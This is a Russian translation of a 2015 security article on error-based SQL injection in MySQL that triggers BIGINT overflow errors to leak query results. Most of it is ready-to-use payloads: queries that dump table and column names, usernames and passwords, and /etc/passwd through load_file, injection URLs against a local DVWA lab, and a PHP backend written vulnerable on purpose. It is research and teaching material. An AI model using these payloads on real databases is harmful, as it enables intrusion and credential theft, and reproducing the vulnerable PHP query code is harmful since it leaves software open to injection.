19.10.2015

SQL-инъекции на основе переполнения BIGINT

image

Я решил поискать новые техники, связанные с извлечением данных при помощи ошибок в MySQL, а конкретно – при помощи переполнений.

Автор: Osanda Malith Jayathissa (@OsandaMalith)

Введение

Я решил поискать новые техники, связанные с извлечением данных при помощи ошибок в MySQL, а конкретно – при помощи переполнений. Вначале рассмотрим различные целочисленные типы, используемые в MySQL.

Целочисленный тип

Размер

Минимальное значение

Максимальное значение

(Байты)

(Знаковое/Беззнаковое)

(Знаковое/Беззнаковое)

TINYINT

1

-128

127

0

255

SMALLINT

2

-32768

32767

0

65535

MEDIUMINT

3

-8388608

8388607

0

16777215

INT

4

-2147483648

2147483647

0

4294967295

BIGINT

8

-9223372036854775808

9223372036854775807

0

18446744073709551615

(Источник: http://dev.mysql.com/doc/refman/5.5/en/integer-types.html)

Переполнения, показанные ниже, будут работать в MySQL 5.5.5 и более поздних версиях. В старых версиях целочисленное переполнение будет приводить к тихому заворачиванию (wraparound).

Размер целочисленного типа BIGINT – 8 байт или 64 бита. Максимальное знаковое число типа BIGINT в различных системах счисления будет выглядеть так: 0b0111111111111111111111111111111111111111111111111111111111111111 (двоичная система), 0x7fffffffffffffff (шестнадцатеричная система), 9223372036854775807 (десятичная система). Если мы прибавим к каждому из вышеуказанных чисел единицу, возникнет ошибка «BIGINT value is out of range»:

mysql> select 9223372036854775807+1;
ERROR 1690 (22003): BIGINT value is out of range in '(9223372036854775807 + 1)'

Чтобы избежать этой ошибки мы можем просто привести тип к беззнаковому целому.

Максимальное беззнаковое число типа BIGINT в различных системах счисления будет выглядеть так: 0b1111111111111111111111111111111111111111111111111111111111111111 (двоичная система), 0xFFFFFFFFFFFFFFFF (шестнадцатеричная система), 18446744073709551615 (десятичная система).

Делаем тот же самый трюк, прибавляя единицу к максимальному числу. Опять появляется ошибка «BIGINT value is out of range»:

# Прибавляем единицу к максимальному беззнаковому десятичному числу

mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'

# Прибавляем единицу к максимальному беззнаковому двоичному числу

mysql> select cast(b'1111111111111111111111111111111111111111111111111111111111111111' as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffffffffff as unsigned) + 1)'

# Прибавляем единицу к максимальному беззнаковому шестнадцатеричному числу

mysql> select cast(x'FFFFFFFFFFFFFFFF' as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffffffffff as unsigned) + 1)'

Теперь попробуем выполнить операцию поразрядного логического отрицания для 0. Очевидно, результатом операции будет максимальное беззнаковое число типа BIGING.

mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

Если мы прибавим или вычтем вышеуказанное выражение от единицы, опять получим переполнение.

mysql> select 1-~0;
ERROR 1690 (22003): BIGINT value is out of range in '(1 - ~(0))'
mysql> select 1+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(1 + ~(0))'

Конструкция SQL-инъекции

Для извлечения данных мне захотелось вызвать переполнение в BIGINT в связке с подзапросами. Если выполнить логическое отрицание для любого запроса, то, очевидно, в результате мы получим 1, поскольку при успешном выполнении запроса возвращается 0. Рассмотрим пример логического отрицания для запроса (select*from(select user())x);

mysql> select (select*from(select user())x);
+-------------------------------+
| (select*from(select user())x) |
+-------------------------------+
| root@localhost |
+-------------------------------+
1 row in set (0.00 sec)

# Применяем логическое отрицание

mysql> select !(select*from(select user())x);
+--------------------------------+
| !(select*from(select user())x) |
+--------------------------------+
| 1 |
+--------------------------------+
1 row in set (0.00 sec)

Прекрасно! Теперь мы можем скомбинировать поразрядное и логическое отрицание и сконструировать инъекцию на базе переполнения:

mysql> select ~0+!(select*from(select user())x);
ERROR 1690 (22003): BIGINT value is out of range in '(~(0) + (not((select 'root@localhost' from dual))))'

Поскольку во время парсинга в браузере ‘+’ будет конвертироваться в пробел (для знака ‘+’ вы можете использовать %2b), мы заменим ‘+’ на ‘-’. Существует несколько вариантов для одной и той же инъекции:

!(select*from(select user())x)-~0
(select(!x-~0)from(select(select user())x)a)
(select!x-~0.from(select(select user())x)a)

Попробуем использовать инъекцию в следующем запросе:

mysql> select username, password from users where id='1' or !(select*from(select user())x)-~0;
ERROR 1690 (22003): BIGINT value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'
http://localhost/dvwa/vulnerabilities/sqli/?id=1' or !(select*from(select user())x)-~0-- -&Submit=Submit#


Рисунок 1: Выполнение инъекции через URL

Использовать инъекцию на основе переполнения типа BIGING можно почти для каждой математической функции в MySQL, польку там тоже участвует отрицание. Просто передайте аргумент в функцию, как показано ниже:

select !atan((select*from(select user())a))-~0;
select !ceil((select*from(select user())a))-~0;
select !floor((select*from(select user())a))-~0;

Я протестировал следующие функции (возможно, есть и другие):

HEX
FLOOR
CEIL
RAND
CEILING
TRUNCATE
TAN
SQRT
ROUND
SIGN

Извлечение данных

Извлечение данных ничем не отличается от других инъекций. Рассмотрим некоторые примеры.

Получение имен таблиц:

!(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0;

Получение имен колонок:

select !(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0;

Получение логинов и паролей:

!(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)-~0;

http://i.imgur.com/hZ3EuDc.png

Рисунок 2: Тестирование SQL-инъекций

Полная выгрузка за один присест

Можем ли мы выгрузить все базы данных, колонки и таблицы за раз? Ответ и «Да» и «Нет». Когда мы попытаемся выгрузить таблицы и колонки из всех баз данных, то сможем получить не особо много результатов, поскольку получаем информацию через ошибку. Максимальное количество результатов - 27 (при выгрузке информации из текущей базы данных). Вот некоторые вариации запросов:

!(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where
table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0

(select(!x-~0)from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat
(@,0xa,table_name,0x3a3a,column_name)),@))x)a)

(select!x-~0.from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat
(@,0xa,table_name,0x3a3a,column_name)),@))x)a)

http://i.imgur.com/FM9OHgn.png

Рисунок 3: Получаем имена колонок в таблице пользователей и гостевой книге

http://i.imgur.com/KmucnYV.png

Рисунок 4: Перечень первых 27 колонок в таблице test

Главный ограничитель – количество результатов запроса может быть не более 27. Если, к примеру, создать таблицу, где 31 колонка, мы сможем получить только первые 27 колонок. Остальные таблицы и колонки показаны не будут.

Инъекции при вставке

В insert-запросах синтаксис может быть либо ‘’, либо (полезная нагрузка). Присутствие кавычек зависит от запроса. Я уже писал на эту тему статью в блоге и полноценный мануал.

mysql> insert into users (id, username, password) values (2, '' or !(select*from(select user())x)-~0 or '', 'Eyre');
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'

Другие запросы, нацеленные на то, чтобы сделать все за один раз:

mysql> insert into users (id, username, password) values (2, '' or !(select*from(select(concat(@:=0,(select
count(*)from`information_schema`.columns where
table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0 or '', 'Eyre');

ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
newdb::users::id
newdb::users::username
newdb::users::password' from dual))) - ~(0))'

http://i.imgur.com/E7f7mZ4.png

Рисунок 5: Тестирование SQL-инъекций при вставке данных

Инъекции при обновлении

Инъекции при обновлении (запросы типа UPDATE) ничем не отличаются от инъекций при вставках. Пример:

mysql> update users set password='Peter' or !(select*from(select user())x)-~0 or '' where id=4;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'

Инъекции при удалении

Инъекции при удалении (запросы типа DELETE) ничем не отличаются от всех предыдущих конструкций:

mysql> delete from users where id='1' or !(select*from(select user())x)-~0 or '';
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'

Чтение содержимого файлов

Вы можете читать файлы при помощи функции load_file(), однако я заметил, что есть лимит. Максимум, что можно прочитать – 13 строк.

select !(select*from(select load_file('/etc/passwd'))x)-~0;

Рисунок 6: Чтение содержимого файла passwd

Вы не сможете записать что-либо в файл, поскольку инъекция основана на ошибке. В файл запишется только 0.

mysql> select !(select*from(select 'hello')x)-~0 into outfile 'C:/out.txt';
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'hello' from dual))) - ~(0))'

# содержимое C:\out.txt

0

Заключение

Чтобы выполнить вышеуказанные инъекции, функция mysql_error() должна возвращать сообщение об ошибке. Версия MySQL должна быть 5.5.5 или выше. Можно реализовать и другие варианты инъекций, отличные от тех, что были представлены в этой статье. Например, даже попытка выполнить операцию 1 - 0 XOR 222 приведет к переполнению типа BIGINT.

mysql> select !1-0^222;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(1)) - (0 ^ 222))'
mysql> select !(select*from(select user())a)-0^222;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - (0 ^ 222))'

Если в коде бэкэнда отсутствуют кавычки, двойные кавычки или скобки, мы можем выполнить инъекцию без операции OR.

Обновленный код на бэкэнде:

<?php
if(isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
$html .= '<pre>';
$html .= 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
$html .= '</pre>';
$i++;
}
}
?>

SQL-инъекция:

http://localhost/dvwa/vulnerabilities/sqli/?id=!(select*from(select user())a)-0^222&Submit=Submit#

http://i.imgur.com/KJtoxaY.png

Рисунок 7: Результат работы обновленной SQL-инъекции без операции OR

Ссылки

  1. https://rdot.org/forum/showthread.php?t=3167
  2. http://dev.mysql.com/doc/refman/5.5/en/integer-types.html
  3. https://dev.mysql.com/doc/refman/5.0/en/numeric-type-overview.html
  4. https://dev.mysql.com/doc/refman/5.0/en/mathematical-functions.html
  5. https://osandamalith.wordpress.com (веб-сайт автора статьи).